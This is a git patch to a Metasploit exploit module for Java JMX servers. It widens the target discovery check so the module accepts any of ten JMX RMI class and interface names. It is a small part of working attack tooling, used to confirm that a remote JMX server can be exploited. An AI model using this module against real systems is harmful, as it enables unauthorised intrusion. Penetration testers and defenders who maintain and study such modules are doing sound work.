From 294a8e0ada3314a171cd5ee0c47132b3f0f4669b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 22 Jan 2018 16:49:01 -0600 Subject: [PATCH] Land #9413, Expand the number of class names searched when checking for an exploitable JMX server --- modules/exploits/multi/misc/java_jmx_server.rb | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index a8181eeeda..fa4003f52c 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -193,10 +193,22 @@ class MetasploitModule < Msf::Exploit::Remote end def discover_endpoint + rmi_classes_and_interfaces = [ + 'javax.management.remote.rmi.RMIConnectionImpl', + 'javax.management.remote.rmi.RMIConnectionImpl_Stub', + 'javax.management.remote.rmi.RMIConnector', + 'javax.management.remote.rmi.RMIConnectorServer', + 'javax.management.remote.rmi.RMIIIOPServerImpl', + 'javax.management.remote.rmi.RMIJRMPServerImpl', + 'javax.management.remote.rmi.RMIServerImpl', + 'javax.management.remote.rmi.RMIServerImpl_Stub', + 'javax.management.remote.rmi.RMIConnection', + 'javax.management.remote.rmi.RMIServer' + ] ref = send_registry_lookup(name: datastore['JMXRMI']) return nil if ref.nil? - unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub' + unless rmi_classes_and_interfaces.include? ref[:object] vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}") return nil end